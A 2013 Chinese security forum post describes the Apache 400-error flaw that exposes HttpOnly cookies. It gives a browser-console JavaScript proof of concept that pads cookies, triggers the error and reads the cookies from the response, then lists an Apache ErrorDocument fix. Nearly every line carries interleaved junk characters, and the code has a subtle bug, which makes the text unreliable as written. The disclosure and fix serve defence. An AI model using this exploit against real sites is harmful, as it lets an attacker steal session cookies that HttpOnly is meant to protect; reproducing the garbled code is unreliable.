找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2591|回复: 0
打印 上一主题 下一主题

Apache HttpOnly Cookie XSS跨站漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:15:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。6 ~* y0 |  D4 v) E* F' }' z

1 O: g& V# \5 \3 ~3 X用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
$ Y6 \2 D* W' O7 k( Y" `
) M/ N9 C- K: B8 L0 E4 \
$ @6 q, b2 q2 L// http://www.exploit-db.com/exploits/18442/
' b! [4 A/ D/ T: ~9 g& Tfunction setCookies (good) {! A2 Y( H( G) ?* v1 t: H
// Construct string for cookie value
0 E" M3 ~; _# r' g7 y' _" yvar str = "";. Y  Y% J7 l0 k0 _! L( l( v
for (var i=0; i< 819; i++) {0 B  K( e3 v9 m3 Z5 x& d
str += "x";, x" L6 K6 |/ H$ x* }
}
2 E& _+ R1 I. G" _* C7 `# K// Set cookies
4 G6 @. Y5 V6 O& [for (i = 0; i < 10; i++) {
) r5 D- T- N% V7 M4 _// Expire evil cookie
- [1 P8 C0 i  T/ ?# a$ x" pif (good) {# U- |( t# l  S! {
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
# e, H$ u  h. h9 h6 U. A}( q4 p: {# ~8 g& K6 N; T
// Set evil cookie
, z& w& D% Q; R: g! L0 Zelse {
; S6 R1 ~" c' e' l6 Lvar cookie = "xss"+i+"="+str+";path=/";
: ?. ~6 {7 a' c( V1 c}
6 A* {$ q* m6 }! O' ^( T0 m! w* X& bdocument.cookie = cookie;
1 f: v3 u6 @. I" x" x+ b2 Q}
, t2 f0 R$ W$ \1 ]}
( ~/ W0 w7 F: M9 u% T: qfunction makeRequest() {
& {! R8 I2 u: |% u: T1 TsetCookies();+ q; `- R9 O6 `. J* G
function parseCookies () {/ G" f4 v. u9 e3 E$ x* n  p1 X
var cookie_dict = {};# a4 O0 a4 |$ _0 F* F  g
// Only react on 400 status) l" [5 U% l& u7 ?; E; _
if (xhr.readyState === 4 && xhr.status === 400) {  ~/ `$ E8 c. S- N4 k9 C
// Replace newlines and match <pre> content
* y3 P9 x. m3 s7 x0 Nvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
2 T& C; u# {* |- Y2 w" p% r  s: w/ eif (content.length) {+ _: [6 _. {5 \6 T# G
// Remove Cookie: prefix' m. ~9 r, s" y7 a% w
content = content[1].replace("Cookie: ", "");
5 c' N2 R; z5 h( c. g* ]8 H8 k8 P: ovar cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
$ ~/ u% I: b) H( F. J2 |8 p// Add cookies to object& q' L' h' |6 P, |6 B7 n0 V/ p7 @
for (var i=0; i<cookies.length; i++) {
" d# S" T4 Q7 @9 I" z6 i3 Ovar s_c = cookies.split('=',2);$ k1 e3 e9 b( @5 d% q- w$ H
cookie_dict[s_c[0]] = s_c[1];& Z$ \" F9 t$ R- J* B8 b. d  i
}0 R0 E& |) O" B6 W
}
8 z6 j. x8 G  R// Unset malicious cookies
$ D9 e# t% r" z: F  rsetCookies(true);+ P# y- Z. s3 H1 d
alert(JSON.stringify(cookie_dict));
' V  N" w! K& q1 L6 s4 E7 \8 y4 e6 Q}
  o( R& a) q' m. O% z}
" r& d4 z! Y+ N" L5 ?// Make XHR request, {+ k0 ~5 \7 {6 R/ a
var xhr = new XMLHttpRequest();0 K+ p4 i- c; K, s" J* @
xhr.onreadystatechange = parseCookies;) S: j- D- H7 [  d
xhr.open("GET", "/", true);
2 W- _% F7 O- c' N/ H$ L. Bxhr.send(null);
/ g# \0 T* \  t* Y- e7 G, B$ `}
7 j+ M, \" Q- j" [makeRequest();
  Q( q" t4 P% t0 s4 Z$ X& s. d* n- n' J  C, r- c
你就能看见华丽丽的400错误包含着cookie信息。5 |) i% Q! r$ @; w8 T/ B0 [. ^6 g' H
! p$ D/ h7 o1 @3 V5 a' C# v( w5 q0 n
下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#2 K# B. M# w& T# |( k8 H5 g$ `* H
# L# e9 C5 @5 R$ s$ |
修复方案:9 ?5 L6 {& h9 @1 |' G$ k, }/ g

! D8 }. ~6 R! z9 @$ ?+ ]6 UApache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下4 i2 d9 U6 A: A+ o
) e6 r" N6 @% j+ A; n
In the event of a problem or error, Apachecan be configured to do one of four things,
# a8 S/ m! e! D4 ]1 o1 Q5 m- i9 D( e
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息, h1 x/ A5 Z4 E3 p
2. output acustomized message输出一段信息3 {% B+ |, d$ T* m9 K( ~. H) B6 B
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面 6 U5 m* `/ h/ z, @3 T1 _1 ?
4. redirect to an external URL to handle theproblem/error转向一个外部URL
9 Q) s8 Z3 Z0 ~+ i
( }8 C" Z% O- [) f经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容# O& A5 F  n" m# u
& F; t; w0 @4 r' S" @* d6 E% m$ {
Apache配置:
" e% a& C- O2 \5 T7 `/ o/ [# p& z1 u. e$ c7 r% E8 l
ErrorDocument400 " security test"- a9 }2 U9 q: t, Y5 J' }- @9 J
1 }- h! u- Z. [- L2 q1 U
当然,升级apache到最新也可:)。6 a4 I! |) ?5 o+ M

# k+ C2 u3 c& H2 Q% _" u+ l( M参考:http://httpd.apache.org/security/vulnerabilities_22.html
: A5 F$ p1 f5 a. i: _3 X2 ^2 o3 \5 O1 ?% g
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表